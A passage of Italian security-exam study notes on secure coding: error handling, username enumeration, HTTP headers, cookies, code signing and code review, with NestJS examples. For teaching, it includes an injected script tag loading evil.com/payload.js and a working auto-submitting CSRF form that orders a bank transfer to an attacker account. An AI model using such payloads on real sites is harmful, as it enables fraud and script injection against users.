        stack trace
      attacker maps system
    Dev Parallel
      APP DEBUG true in prod
        Laravel Symfony leak
      Global exception filter
        catch all log all show little

Le routine di error handling e exception handling garantiscono che un'applicazione gestisca gli errori in modo controllato. Quando un'applicazione non cattura un errore, può crashare — nel caso peggiore trascina giù anche il sistema operativo. Un error handling efficace protegge l'integrità dell'OS sottostante.

Il problema di sicurezza: quando un'applicazione non cattura un errore, spesso espone informazioni di debug all'utente. Quelle informazioni le puoi usare tu per capire il sistema — tipo di database, versione del framework, stack trace completo, path interni. Se invece l'applicazione cattura l'errore, controlla esattamente cosa mostra.

La regola è semplice e ha due parti:

Chi riceveCosa ricevePerché
Utenteerrore genericonon fornire informazioni sfruttabili dall'attaccante
Loginformazioni dettagliatepermettere ai developer di diagnosticare e risolvere

Esempio concreto: l'applicazione non riesce a connettersi al database.

  • Errore sbagliato all'utente: SQLSTATE[HY000] [2002] Connection refused to MySQL 8.0.32 on db.internal:3306 — l'attaccante sa che usi MySQL, la versione, l'host interno e la porta
  • Errore corretto all'utente: Si è verificato un errore. Riprova più tardi.
  • Nel log: tutto il dettaglio tecnico, per il developer

Dal punto di vista dev: hai sicuramente visto stack trace PHP completi esposti in produzione, o pagine di errore Laravel/Symfony con variabili d'ambiente visibili. Quello è esattamente il problema che Gibson descrive — APP_DEBUG=true in produzione è una vulnerabilità di information disclosure.

In NestJS il pattern corretto:

// Filtro globale — cattura tutto, mostra poco, logga tutto
@Catch()
export class GlobalExceptionFilter implements ExceptionFilter {
  catch(exception: unknown, host: ArgumentsHost) {
    logger.error(exception);          // dettaglio completo nei log
    response.status(500).json({
      message: 'Internal server error' // generico all'utente
    });
  }
}
Note

Exam tip: le applicazioni dovrebbero mostrare messaggi di errore generici agli utenti ma loggare le informazioni dettagliate. L'error handling protegge l'integrità dell'OS e controlla cosa viene esposto.

Vettoreapplicazione — errori non gestiti espongono informazioni di debug
Causaassenza di error handling o debug=true in produzione
Effetto volutoraccogliere informazioni sul sistema (tipo DB, versioni, path, stack trace) per preparare attacchi più mirati
Difesaerrori generici all'utente, dettagli solo nei log, debug=false in produzione, filtri globali di eccezione
Indicatorestack trace visibili nelle risposte HTTP, header con versioni di framework, messaggi con nomi di tabelle o path interni
CIA TriadConfidentiality — informazioni interne sul sistema vengono esposte; Integrity se il crash non gestito corrompe dati
Scopeapplicazione — chiunque possa triggerare un errore può raccogliere informazioni

Username Enumeration via Differential Error Messages
#

mindmap
  root((Username
Enumeration))
    The Problem
      differential error messages
        Invalid password user exists
        User not found no account
    Attack Flow
      attacker sends usernames
        Invalid password hit = real account
        brute force only confirmed users
    Remediation
      single generic message
        Invalid username or password
        same response always
    Exam Trap
      lockout prevents brute force
        not enumeration
      CAPTCHA not the fix either

Un caso specifico di error handling sbagliato con impatto diretto sugli attacchi di credential stuffing e brute force.

Il problema: la pagina di login restituisce messaggi di errore diversi a seconda di cosa non va:

  • "Invalid password" → l'username esiste, ma la password e' sbagliata
  • "User not found" → l'username non esiste

Questi differential error messages permettono a un attaccante di enumerare gli username validi senza tentare nemmeno l'accesso. Basta inviare richieste con nomi di utente a caso: quelli che ricevono "Invalid password" sono account reali da attaccare con brute force. Quelli che ricevono "User not found" si scartano.

Impatto pratico: l'attaccante dimezza il problema. Invece di cercare sia username che password, cerca solo la password per utenti gia' confermati come esistenti.

Scenario domanda esame:

Un analista osserva che la login page restituisce "Invalid password" per utenti esistenti e "User not found" per utenti inesistenti. Un attaccante sta enumerando gli username. Qual e' la remediation? Risposta corretta: restituire un messaggio generico identico per tutti i casi di autenticazione fallita — es. "Invalid username or password" — in modo che le risposte non rivelino quale campo e' corretto.

ERRATO (enumerable):
- username esiste, password sbagliata → "Invalid password"
- username non esiste             → "User not found"

CORRETTO (non enumerable):
- qualsiasi errore di autenticazione → "Invalid username or password"
Vettoreapplicazione web — pagina di login con messaggi di errore diversi
Causaerror handling che distingue tra "utente non trovato" e "password sbagliata" nell'output all'utente
Effetto volutoenumerare username validi per ridurre lo spazio di ricerca in attacchi brute force successivi
Difesamessaggio generico identico per tutti i fallimenti di autenticazione: "Invalid username or password"
Indicatorepicchi di richieste di login con username diversi ma stessa password, log con molti 401 su username mai registrati
CIA TriadConfidentiality — l'elenco degli utenti e' informazione riservata che non dovrebbe essere ricavabile dall'interfaccia
Scopeapplicazione — tutti gli account del sistema sono potenzialmente enumerabili
Warning

Exam trap: la domanda descrivera' i due messaggi diversi come il problema — la risposta e' sempre "usare un messaggio generico uguale per tutti i fallimenti di autenticazione". Non si tratta di aggiungere lockout (quello previene brute force, non enumeration) ne' di CAPTCHA.

Code Obfuscation
#

mindmap
  root((Code
Obfuscation))
    What
      make code unreadable
        rename variables
        encode strings hex
        remove whitespace
    Limit
      security through obscurity
        determ expert can reverse it
        deterrent not protection
    Dev Parallel
      webpack minification
        protects from curious
        not from attacker

Obfuscation = rendere qualcosa difficile da capire. Code obfuscation = rendere il codice illeggibile.

Il contesto originale è la protezione del codice: JavaScript viaggia in chiaro nel browser — chiunque può aprire i DevTools e copiarselo. L'obfuscation rallenta questo processo rinominando variabili, sostituendo numeri con espressioni equivalenti, codificando stringhe in esadecimale, rimuovendo spazi e commenti.

// Codice originale — leggibile
function calculateDiscount(strFirstName, price) {
  const discount = 11;
  return price - (price * discount / 100);
}

// Dopo obfuscation
function a(b,c){var d=0xF01B-0x73-0xEF9D;return c-(c*d/0x64);}

strFirstName94mdiwl, 110xF01B - 0x73 - 0xEF9D (che vale ancora 11 — solo reso illeggibile), tutto il whitespace rimosso.

Limite importante: la maggior parte degli esperti di sicurezza rifiuta la security through obscurity come metodo affidabile. L'obfuscation rende il codice difficile da leggere per la maggior parte delle persone — ma non per qualcuno con le competenze giuste. Un reverse engineer esperto può deobfuscare il codice. È un deterrente, non una protezione reale.

Dal punto di vista dev: hai sicuramente incontrato questo in produzione — i bundle webpack minificati sono una forma leggera di obfuscation. Proteggono da curiosi, non da attaccanti determinati.

È un deterrente, non una protezione reale

Software Diversity
#

mindmap
  root((Software
Diversity))
    Multicompiler
      same source different binary
        randomized each compilation
      functional behavior unchanged
    Why
      exploit targets specific binary
        different binary = exploit fails
      defeats buffer overflow ROP chains
        memory layout unpredictable
    Limit
      additional layer only
        not standalone solution
        increases attack cost

La software diversity automatizzata è una tecnica che usa un multicompiler — un compilatore che non produce un binario identico ogni volta, ma introduce variazioni controllate mantenendo lo stesso comportamento funzionale.

Normalmente un compilatore converte il codice sorgente in un eseguibile binario deterministico — lo stesso sorgente produce sempre lo stesso binario. Un multicompiler invece:

  • Include funzioni e moduli come se il codice fosse scritto in più linguaggi contemporaneamente
  • Aggiunge un livello di randomness — lo stesso programma si comporta leggermente in modo diverso su sistemi diversi, ma raggiunge sempre lo stesso risultato

Perché serve: un attacco che sfrutta una vulnerabilità specifica in un binario funziona su tutte le macchine che eseguono quel binario identico. Con software diversity, lo stesso exploit che funziona su sistema A fallisce su sistema B — anche se entrambi eseguono lo stesso programma sorgente, i binari compilati sono diversi.

È una misura difensiva contro exploit che sfruttano layout di memoria predicibili (es. buffer overflow, ROP chains) — se il binario è diverso su ogni macchina, l'attaccante non può assumere che l'indirizzo di memoria X sia sempre lo stesso.

Nota: come l'obfuscation, non è una soluzione standalone — è un layer aggiuntivo che aumenta il costo dell'attacco, non lo rende impossibile.

Outsourced Code Development
#

mindmap
  root((Outsourced
Code))
    Risks
      Broken code
        test before accepting
      Vulnerable code
        no secure coding practice
      Malicious code
        backdoor logic bomb
        hard to find in review
      No updates
        CVEs never patched
    Mitigations
      SAST on received code
      Sandboxing before deploy
      Contract patch obligation
      Code review or audit
    Supply Chain Link
      external dev is chain link
        if compromised whole app

Non tutte le organizzazioni hanno developer interni. Quando si esternalizza lo sviluppo, bisogna gestire rischi di sicurezza specifici che non esistono con un team interno — perché perdi visibilità e controllo diretto sul codice che stai per mettere in produzione.

RischioDescrizione
Codice non funzionanteil developer promette di saper fare, ma il codice non funziona come atteso — test approfonditi prima dell'accettazione
Codice vulnerabilese il developer non segue le best practice di secure coding, il codice sarà vulnerabile — e potresti scoprirlo solo dopo che è stato sfruttato
Codice malevoloil developer può inserire backdoor o logic bomb deliberatamente — difficili da rilevare con i normali test funzionali
Mancanza di aggiornamentile vulnerabilità vengono scoperte nel tempo — se il contratto non prevede aggiornamenti e patch, potresti non riceverli

Il caso del codice malevolo è il più insidioso: un test funzionale verifica che il codice faccia quello che deve fare, non che non faccia anche altro. Una backdoor ben nascosta supera quasi tutti i test standard — serve code review approfondita o analisi statica del codice.

Collegato al concetto di supply chain attack (cap 6): il developer esterno è un anello della catena. Se è compromesso o malevolo, il prodotto finale lo è.

Mitigazioni pratiche:

  • Test di accettazione approfonditi prima del deploy
  • Code review del codice ricevuto (o auditing esterno)
  • Clausola contrattuale per aggiornamenti di sicurezza e patch
  • Analisi statica del codice (SAST) per rilevare pattern sospetti
  • Sandboxing prima del deploy in produzione

Data Exposure
#

mindmap
  root((Data
Exposure))
    Three Data States
      At Rest
        disk database backup
        AES encryption
      In Transit
        network between services
        TLS HTTPS VPN
      In Processing
        RAM during computation
        flush buffers after use
    Critical Step
      flush memory buffers
        data in clear after use
        residual in RAM until overwritten
    Dev
      PHP Node no direct memory control
        GC handles RAM
      C C++ memset SecureZeroMemory
        explicit wipe required

Le applicazioni lavorano con dati — e proteggere quei dati è una responsabilità del codice, non solo dell'infrastruttura. Se i dati non sono protetti, il risultato è un data breach: dati esposti a entità non autorizzate.

I tre stati del dato e come si proteggono:

StatoDove si trovaProtezione standard
Data at restdisco, database, backupencryption (AES, FDE)
Data in transitrete, tra serviziTLS, HTTPS, VPN
Data in processingRAM, durante elaborazioneflush dei buffer dopo l'uso

Il ciclo che Gibson descrive per i dati cifrati in un'applicazione:

Dati cifrati su disco
Applicazione decifra → dati in chiaro in RAM  [RISCHIO]
Elaborazione in memoria
Applicazione ri-cifra → torna su disco
FLUSH dei buffer di memoria  ← passaggio critico spesso dimenticato

Il passaggio critico è il flush dei buffer: dopo l'elaborazione, i dati in chiaro rimangono in memoria finché non vengono sovrascritti. Se l'applicazione non pulisce esplicitamente quei buffer, un attaccante con accesso alla memoria (dump di RAM, swap file, core dump) può trovare i dati non cifrati anche dopo che l'applicazione li ha "usati".

Dal punto di vista dev: in PHP/Node non controlli direttamente la memoria — il garbage collector libera la RAM quando vuole. Per dati altamente sensibili (chiavi crittografiche, password in chiaro durante l'hashing) esistono strutture dati specializzate che garantiscono il wipe sicuro. In linguaggi come C/C++ è responsabilità esplicita del developer chiamare memset() o SecureZeroMemory() sui buffer sensibili prima di liberarli.

Note

Cap 10 approfondisce i metodi di encryption per i tre stati del dato. Qui il punto rilevante è che la responsabilità del flush dei buffer è del codice applicativo — non del sistema operativo.

HTTP Headers
#

mindmap
  root((HTTP Security
Headers))
    HSTS
      HTTPS only
        max-age in seconds
        includeSubDomains
      HSTS Preload List
        hardcoded in browser
        first visit protected
    CSP
      allowlist content sources
        script-src self cdn
        blocks XSS injection
      default-src self
        everything else blocked
    X-Frame-Options
      prevents clickjacking
        DENY no iframe ever
        SAMEORIGIN same domain only
    NestJS
      helmet middleware
        sets all headers auto
        helmet CSP directives
    Tool
      securityheaders.com
        grades A plus to F

I messaggi HTTP tra web server e client hanno una struttura in sezioni — tra cui l'header, formato da coppie chiave:valore. Tre gruppi principali:

GruppoCosa contiene
General headerinformazioni sull'intero messaggio
Request headerbrowser, lingua accettata, encoding supportati
Entity headerinformazioni sul body della risposta

Gli header di risposta (quelli che il server manda al client) possono essere usati per comunicare policy di sicurezza al browser — istruzioni su come deve comportarsi con il contenuto ricevuto. OWASP Secure Headers Project documenta le raccomandazioni ufficiali.

I tre header di sicurezza principali:

HTTP Strict-Transport-Security (HSTS)
#

mindmap
  root((HSTS))
    What
      browser enforces HTTPS only
        max-age seconds
        includeSubDomains
    First Visit Problem
      still vulnerable to SSL stripping
        rule saved only after first HTTPS
    Preload List
      hardcoded in browser source
        zero HTTP attempts ever
        hstspreload.org to register

Dice al browser: "visita questo sito solo in HTTPS". Già trattato in dettaglio nella sezione SSL Stripping.

Strict-Transport-Security: max-age=31536000; includeSubDomains
  • max-age=SECONDS — per quanti secondi il browser applica la regola (31536000 = 1 anno)
  • includeSubDomains — estende la policy a tutti i sottodomini

Content-Security-Policy (CSP)
#

mindmap
  root((CSP))
    Purpose
      allowlist content sources
        browser blocks rest
      Primary XSS defense
        injected script from evil.com blocked
    Directives
      default-src self
      script-src self cdn
      img-src wildcard
    CSP vs X-Frame-Options
      frame-ancestors replaces X-Frame
        more granular
        use both for compatibility

Definisce le sorgenti di contenuto accettabili per la pagina — script, stili CSS, immagini, plugin. Il browser rifiuta tutto ciò che non rientra nella policy.

Content-Security-Policy: default-src 'self'; script-src 'self' cdn.trusted.com; img-src *
  • default-src 'self' — di default, solo risorse dallo stesso dominio
  • script-src 'self' cdn.trusted.com — script solo da self o da cdn.trusted.com
  • img-src * — immagini da qualsiasi sorgente

La CSP restringe le sorgenti — il browser non carica nemmeno il contenuto se non viene da un'origine autorizzata. Non isola l'esecuzione, blocca il caricamento.

Perché è importante: CSP è la difesa primaria contro XSS (Cross-Site Scripting). Anche se un attaccante riesce a iniettare <script src="evil.com/payload.js">, il browser lo blocca se evil.com non è nella CSP. Vedremo XSS nella sezione successiva.

X-Frame-Options
#

mindmap
  root((X-Frame-Options))
    Purpose
      prevents clickjacking
        invisible iframe overlay
        user clicks wrong element
    Values
      DENY
        never in iframe
      SAMEORIGIN
        same domain only
    Modern
      CSP frame-ancestors preferred
        more granular control
        use both for compatibility

Controlla se la pagina può essere caricata dentro un <iframe> (X-Frame) su un altro sito.

X-Frame-Options: DENY        # mai in iframe
X-Frame-Options: SAMEORIGIN  # iframe solo dallo stesso dominio

Usato per prevenire clickjacking — una tecnica in cui un attaccante incorpora una pagina legittima in un iframe invisibile sopra la propria pagina malevola. L'utente crede di cliccare su qualcosa innocuo, ma in realtà interagisce con la pagina incorporata.

X-Frames sono rari oggi — la maggior parte dei siti li disabilita perché aprono vulnerabilità senza portare benefici.

Note

CSP moderno include la direttiva frame-ancestors che sostituisce X-Frame-Options con più granularità. Per compatibilità si usano spesso entrambi.

In NestJS il modo idiomatico è helmet — middleware che imposta automaticamente tutti questi header con default sicuri:

import helmet from 'helmet';

app.use(helmet());
// imposta automaticamente: HSTS, CSP, X-Frame-Options, X-Content-Type-Options, ...

// oppure personalizzato:
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "cdn.trusted.com"],
    },
  },
}));

Senza helmet, una app Express/NestJS in produzione non manda nessuno di questi header — il browser non ha istruzioni di sicurezza, è esposto a XSS, clickjacking e downgrade HTTPS.

Tip

securityheaders.com — scanner gratuito che analizza gli header di risposta di qualsiasi sito e assegna un voto da A+ a F. Lista ogni header di sicurezza presente o mancante con spiegazione. Utile per audit rapido di qualsiasi web app.

Vettoreweb — risposta HTTP senza header di sicurezza
Causail server non comunica al browser le policy di sicurezza della pagina
Effetto volutoXSS, clickjacking, downgrade HTTPS senza che il browser possa bloccarli autonomamente
DifesaHSTS, Content-Security-Policy, X-Frame-Options — configurati sul server (es. helmet in Node)
Indicatoreassenza di header di sicurezza nelle response HTTP (visibile in DevTools → Network → Response Headers), scanner OWASP ZAP o securityheaders.com che segnalano header mancanti
CIA TriadConfidentiality / Integrity — header mancanti espongono la pagina a script injection (I) e furto di sessione (C)
Scopeweb — tutti gli utenti che visitano il sito

Secure Cookies
#

mindmap
  root((Secure
Cookies))
    What is a Cookie
      small text file on client
        session ID token preferences
        sent back every request
    Risk Without Secure
      on-path attacker
        Wireshark sees Cookie header
        replay attack
    Three Attributes
      Secure
        HTTPS only
        never sent over HTTP
      HttpOnly
        no JavaScript access
        blocks XSS session theft
      SameSite Strict
        no cross-site send
        blocks CSRF
    CSRF Attack
      user logged in banca.com
        evil.com form auto-submits
        cookie sent without SameSite
    Etymology
      Lou Montulli 1994
        magic cookie Unix tradition

Un cookie è un piccolo file di testo che il server scrive sul sistema dell'utente alla prima visita. Può contenere qualsiasi cosa il developer decida: session ID, preferenze, token di autenticazione. Ad ogni visita successiva il browser rimanda il cookie al server — che lo legge per riconoscere l'utente.

Il problema: se il cookie viaggia su HTTP (non cifrato), è leggibile in chiaro. Un attaccante on-path che cattura il traffico con Wireshark vede letteralmente Cookie: session=abc123def456 nell'header HTTP di ogni request — nessuna tecnica speciale, è testo come qualsiasi altra pagina web. A quel punto può rimandarla al server impersonando l'utente (replay attack).

L'attributo Secure risolve questo: dice al browser di trasmettere il cookie solo su HTTPS. Chrome e Firefox non inviano cookie con Secure su connessioni HTTP — il cookie rimane sul sistema ma non viene mai allegato alla request non cifrata.

Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict

I tre attributi che si usano insieme:

AttributoCosa faAttacco che previene
Securecookie solo su HTTPSintercettazione on-path (sniffing)
HttpOnlycookie non accessibile via JavaScriptXSS — script iniettato non può leggere il cookie
SameSite=Strictcookie non inviato in request cross-siteCSRF (Cross-Site Request Forgery)

CSRF — come funziona senza SameSite:

L'utente è loggato su banca.com — il browser tiene il cookie di sessione. Apre una pagina malevola:

<!-- evil.com — form nascosto che si submits automaticamente -->
<form action="https://banca.com/bonifico" method="POST">
  <input name="importo" value="5000">
  <input name="iban" value="IT_ATTACCANTE_123">
</form>
<script>document.forms[0].submit()</script>

Il browser manda la POST a banca.com e allega automaticamente il cookie di sessione — perché i cookie vengono inviati a ogni request verso quel dominio, indipendentemente da quale sito ha originato la request. La banca riceve una request con cookie valido e processa il bonifico. L'utente non ha cliccato nulla.

Con SameSite=Strict: il cookie non viene allegato alle request che originano da un dominio diverso. La banca riceve la POST senza cookie — request anonima, rifiutata.

Perché si chiama cookie: Lou Montulli (Netscape, 1994) prese il termine da "magic cookie" — un concetto Unix per token di dati opachi passati e restituiti invariati. L'analogia con il fortune cookie: ricevi un biscotto con un messaggio, non ti serve capirlo, lo restituisci quando te lo chiedono. Il browser riceve il cookie, lo memorizza, lo rimanda ad ogni request senza interpretarne il contenuto.

In NestJS con Express:

app.use(session({
  cookie: {
    secure: true,    // solo HTTPS
    httpOnly: true,  // no JS access
    sameSite: 'strict'
  }
}));
Note

HttpOnly non è un header di risposta separato — è un attributo del cookie stesso. Ma il risultato è lo stesso: il browser applica una policy che il server ha comunicato nella response.

Vettorerete — cookie trasmesso su HTTP in chiaro, oppure rubato via XSS
Causacookie senza attributo Secure viaggia su HTTP; senza HttpOnly è leggibile da JavaScript
Effetto volutorubare il session cookie per impersonare l'utente (session hijacking / replay attack)
Difesaattributo Secure (solo HTTPS), HttpOnly (no JS), SameSite=Strict (no CSRF)
Indicatoresession cookie visibile in Wireshark su traffico HTTP, cookie accessibile dalla console JS del browser (document.cookie)
CIA TriadConfidentiality — il cookie di sessione esposto permette di impersonare l'utente senza conoscere le sue credenziali
Scopesingolo utente — la sessione specifica intercettata; se è un cookie admin, lo scope si allarga all'intera applicazione

Code Signing
#

mindmap
  root((Code
Signing))
    What
      digital signature in cert
        authenticates software
        validates integrity
    How
      developer signs with private key
        hash of binary signed
        user verifies with public key
    OS Enforcement
      Windows SmartScreen
        warns unknown publisher
        blocks unsigned
      macOS Gatekeeper
        requires notarized apps
    Real Case
      SolarWinds 2020
        signed malicious update
        trusted by all systems
        18000 organizations

Il code signing usa certificati digitali e firme digitali per autenticare il software. Due benefici:

  1. Identità — il certificato identifica l'autore del codice
  2. Integrità — l'hash verifica che il codice non sia stato modificato

Se un malware altera il codice dopo la firma, l'hash cambia e non corrisponde più alla firma originale — il sistema operativo avvisa l'utente.

Come funziona:

Developer:
  1. Compila il binario
  2. Calcola l'hash del file
  3. Firma l'hash con la sua chiave privata (dal certificato)
  4. Embedding: firma + certificato nel file

OS al momento dell'esecuzione:
  1. Estrae firma e certificato dal file
  2. Verifica il certificato con la CA (chain of trust)
  3. Ricalcola l'hash del file
  4. Confronta con l'hash firmato → corrispondenza = file integro e autentico

Esempio concreto — Windows SmartScreen:

Scarichi un .exe da internet. Windows verifica la firma embedded:

ScenarioCosa succedeRisultato
Software firmato da publisher notocertificato valido (DigiCert), hash corrispondeavvio senza avvisi
Software non firmatonessun certificato"Windows Protected Your PC — Publisher: Unknown"
Software firmato ma modificato da malwarecertificato valido, ma hash non corrisponde"Firma non valida — il file potrebbe essere stato alterato"

Il terzo caso è quello critico: un attaccante prende un installer legittimo, inietta il suo payload, lo ridistribuisce. L'hash è cambiato — la firma del developer originale non valida più.

macOS Gatekeeper funziona allo stesso modo: blocca di default le app non firmate con Apple Developer ID. È per questo che le app indie richiedono il passaggio in Impostazioni → Privacy → "Apri comunque".

Warning

La firma non aiuta se chi firma è già compromesso. SolarWinds (2020): il codice malevolo fu compilato e firmato con il certificato legittimo di SolarWinds — la firma era valida, l'identità era autentica. Il vettore fu la compromissione del build server, non del codice sorgente. La supply chain attack bypassò completamente il code signing.

npm e pip non firmano per default — i pacchetti open source vengono pubblicati senza firma crittografica del publisher. Questo è esattamente il vettore che rende i supply chain attack su ecosistemi come npm così efficaci (es. event-stream 2018, colors 2022).

Vettoredistribuzione software — binari modificati o non firmati
Causaassenza di verifica crittografica dell'integrità e dell'identità del publisher
Effetto volutoeseguire codice malevolo spacciandolo per software legittimo
Difesacode signing con certificato da CA trusted, verifica automatica da OS (SmartScreen, Gatekeeper)
Indicatoreavvisi OS su firma assente o non valida, hash del file che non corrisponde a quello pubblicato dal vendor, certificato scaduto o revocato
CIA TriadIntegrity — il codice eseguito non è quello originale del developer; Confidentiality se il malware iniettato esfiltra dati
Scopeendpoint — ogni sistema che esegue il file compromesso

Analyzing and Reviewing Code
#

mindmap
  root((Analyzing and
Reviewing Code))
    Static Analysis
      no execution needed
        manual code review
        automated SAST
      Tools
        SonarQube Semgrep Snyk
        GitHub Advanced Security
    Dynamic Analysis
      code running
        fuzzing random input
        crashes signal vuln
      Finds
        buffer overflow race condition
        edge case behavior
    Stress Testing
      extreme load
        beyond normal limits
        graceful degradation check
    Model Verification
      formal math proof
        exhaustive not sampled
        aviation medical IoT
    Sandboxing
      isolated environment
        VM Docker container
        effects stay inside
    Package Monitoring
      track all dependencies
        alert on CVE
        npm audit Snyk Dependabot
      Supply Chain
        event-stream 2018
        xz-utils 2024

Le organizzazioni che sviluppano software impiegano tester per verificare la qualità del codice prima del rilascio. Quattro metodi principali:

Static Code Analysis
#

mindmap
  root((Static Code
Analysis))
    No Execution
      manual code review
        different person reviews
        blind spots reduced
      automated SAST
        pattern matching
    Tools
      SonarQube Semgrep Snyk
      ESLint security plugin
      GitHub Advanced Security
        integrated in PRs

Esamina il codice senza eseguirlo. Due forme:

  • Manual code review — qualcuno diverso dal developer che ha scritto il codice lo legge riga per riga cercando vulnerabilità. Il punto chiave è che sia qualcun altro: il developer originale ha punti ciechi sul proprio codice.
  • Automated SAST (Static Application Security Testing) — tool automatizzati che analizzano il codice e marcano pattern potenzialmente vulnerabili.

In pratica: SonarQube, Semgrep, Snyk per codebase enterprise. ESLint con plugin security per Node/JS. GitHub Advanced Security integra SAST direttamente nelle PR.

Dynamic Code Analysis
#

mindmap
  root((Dynamic Code
Analysis))
    Fuzzing
      random data to app
        crash equals vulnerability
      Finds
        buffer overflow
        race conditions
        edge case behavior
    vs Static
      static reads code
      dynamic runs code
        runtime vulns only visible here

Controlla il codice mentre è in esecuzione. Il metodo principale è il fuzzing: un programma manda dati random all'applicazione target. Se l'applicazione crasha o produce risultati inattesi, è un segnale di vulnerabilità da investigare.

Il fuzzing trova vulnerabilità che la static analysis non vede — buffer overflow, race condition, comportamenti imprevisti su input edge case — perché dipendono dall'esecuzione reale, non dalla lettura del codice.

Stress Testing
#

mindmap
  root((Stress
Testing))
    What
      extreme load beyond limits
        traffic data concurrent users
    Goal
      how system behaves at limit
        crash or degrade gracefully
    vs Fuzzing
      fuzzing random malformed data
      stress testing valid high volume

Testa l'applicazione sotto carico estremo — volumi di traffico, dati o utenti concorrenti ben oltre i limiti normali. L'obiettivo è scoprire come si comporta il sistema al limite: crasha? degrada gracefully? espone vulnerabilità che non emergono in condizioni normali?

Diverso dal fuzzing: il fuzzing manda dati casuali per trovare vulnerabilità nel parsing, lo stress testing manda volumi elevati di dati/richieste validi per trovare vulnerabilità nel comportamento sotto carico (race condition, memory leak, overflow).

Model Verification
#

mindmap
  root((Model
Verification))
    What
      formal math proof
        code matches spec
        exhaustive not sampled
    Use Cases
      aviation software
      medical devices
      industrial control systems

Verifica formale che il codice corrisponda al modello o alle specifiche di progetto. Usa tecniche matematiche per dimostrare che il comportamento del software è quello atteso — non si limita a testare casi specifici, verifica la correttezza in modo esaustivo.

Usata in contesti ad alta criticità: software per sistemi di controllo industriale, avionica, dispositivi medici — dove un bug non rilevato può avere conseguenze catastrofiche.

Sandboxing
#

mindmap
  root((Sandboxing))
    Isolated Environment
      crash stays inside
        disk writes contained
        network calls blocked
    Tools
      VM classic approach
      Docker container
      JVM native sandbox
      Browser sandbox extensions

Testa l'applicazione in un ambiente isolato creato appositamente. Qualsiasi effetto — crash, scritture su disco, connessioni di rete — rimane confinato al sandbox senza toccare il sistema host.

Le VM sono lo strumento classico. Java Virtual Machine include un sandbox nativo per restringere le applicazioni untrusted. In ambito moderno: container Docker, ambienti di staging isolati, browser sandbox per estensioni.

Package Monitoring
#

mindmap
  root((Package
Monitoring))
    Why
      dependencies everywhere
        alert on CVE in any dep
    Supply Chain Risk
      npm pip no default signing
        compromised package spreads
      Cases
        event-stream 2018 Bitcoin theft
        xz-utils 2024 backdoor
    Tools
      npm audit
      Snyk Dependabot socket.dev

Ogni developer usa codice scritto da altri — librerie, pacchetti, dipendenze. È necessario monitorare quali pacchetti vengono usati in tutta l'organizzazione: quando emerge una vulnerabilità in una dipendenza esterna, devi sapere in quanti progetti è usata e patcharla ovunque.

Il collegamento con la supply chain: npm e pip non richiedono firma crittografica dei pacchetti per default. Un attaccante che compromette un pacchetto popolare colpisce automaticamente tutti i progetti che lo includono — senza toccare il loro codice.

Casi reali:

  • event-stream (2018) — maintainer cede il progetto a un attaccante, che inietta codice per rubare wallet Bitcoin. Scaricato milioni di volte prima della scoperta.
  • colors / faker (2022) — developer sabota intenzionalmente i propri pacchetti per protesta, rompendo migliaia di progetti in produzione.
  • xz-utils (2024) — backdoor iniettata in un pacchetto Linux di sistema dopo due anni di social engineering sul maintainer.

Strumenti di package monitoring: npm audit, Snyk, Dependabot (GitHub), socket.dev. Tutti controllano le dipendenze contro database di vulnerabilità note e segnalano pacchetti da aggiornare.

Note

Package monitoring è la risposta diretta alla supply chain attack descritta in cap 6. Il vettore è lo stesso — dipendenza compromessa a monte — la difesa è sapere cosa hai installato e ricevere alert quando escono CVE su quelle dipendenze.

Vettoreapplicazione — codice vulnerabile o dipendenze compromesse rilasciate in produzione
Causaassenza di review, testing e monitoraggio delle dipendenze prima del deploy
Effetto volutoscoprire vulnerabilità prima del rilascio; rilevare dipendenze compromesse nella supply chain
Difesastatic analysis (SAST), fuzzing, sandboxing per test, package monitoring con alert su CVE
Indicatorecrash su input inattesi (fuzzing), pattern vulnerabili segnalati da SAST, dipendenze con CVE note nei log di npm audit o Snyk
CIA Triadtutti e tre — dipende dalla vulnerabilità trovata o sfruttata
Scopeapplicazione e supply chain — una dipendenza vulnerabile colpisce tutti i progetti che la includono

Software Version Control
#

mindmap
  root((Software Version
Control))
    What is Tracked
      who changed what when
        author timestamp message
      every commit SHA-1 hash
        tamper-evident history
    Security Benefits
      Rollback
        revert vulnerable change
      Traceability
        no invisible modifications
    Pull Request Workflow
      branch and commit
        PR opened for review
      code review required
        approval before merge
    Git
      branch protection
        no direct push to main
      commit signing GPG

Il version control traccia ogni versione del software: chi ha fatto una modifica, quando, e cosa è cambiato. Il workflow classico: il developer fa check out del codice per lavorarci, poi check in quando ha finito — il sistema registra ogni singola modifica con autore e timestamp.

Due benefici di sicurezza diretti:

  • Rollback — se una modifica introduce un bug o una vulnerabilità, si torna alla versione precedente in pochi secondi
  • Tracciabilità — se i developer possono fare modifiche non tracciate, possono introdurre problemi (intenzionali o no) invisibili. Il version control elimina le modifiche non autorizzate rendendole evidenti

Git è il sistema di version control dominante. Ogni commit ha: hash SHA-1 del contenuto, autore, timestamp, messaggio. Non si può modificare la storia senza che l'hash cambi — qualsiasi alterazione è rilevabile.

Pull Request (PR) — il meccanismo che porta la code review dentro il flusso ordinario. Un developer lavora su un branch separato, poi apre una PR: una richiesta formale di portare le sue modifiche nel branch principale (main). Prima che il merge avvenga, altri developer leggono il diff, lasciano commenti, richiedono modifiche o approvano. Solo dopo l'approvazione il codice entra in main.

gitGraph
   commit id: "v1.0"
   branch feature/auth
   checkout feature/auth
   commit id: "add JWT"
   commit id: "add refresh token"
   checkout main
   commit id: "hotfix"
   merge feature/auth id: "PR #42 — code review approvata" tag: "v1.1"
   commit id: "v1.1 in prod"

Il valore di sicurezza: nessuna modifica al codice principale passa senza che almeno un'altra persona l'abbia vista. Se un developer introduce una backdoor o codice vulnerabile, la PR è il checkpoint dove viene rilevata — e il commit è attribuito a quella persona con data e ora.

Vettoreapplicazione — modifiche non tracciate o non autorizzate al codice
Causaassenza di version control o processi di review prima del merge
Effetto volutointrodurre vulnerabilità o backdoor invisibili nel codice
Difesaversion control (Git), branch protection, code review obbligatoria su PR, firma dei commit
Indicatorecommit senza review approvata, modifiche a file critici fuori dal normale flusso, autori inattesi su repository sensibili
CIA TriadIntegrity — il codice in produzione deve corrispondere esattamente a quello revisionato e approvato
Scopecodebase — tutti i sistemi che eseguono il codice modificato

Secure Development Environment
#

mindmap
  root((Secure Dev
Environment))
    Stages
      Development
        isolated from prod
        version control active
      Test
        module testing
        not full prod replica
      Staging
        full prod clone
        last gate before go-live
      Production
        live users
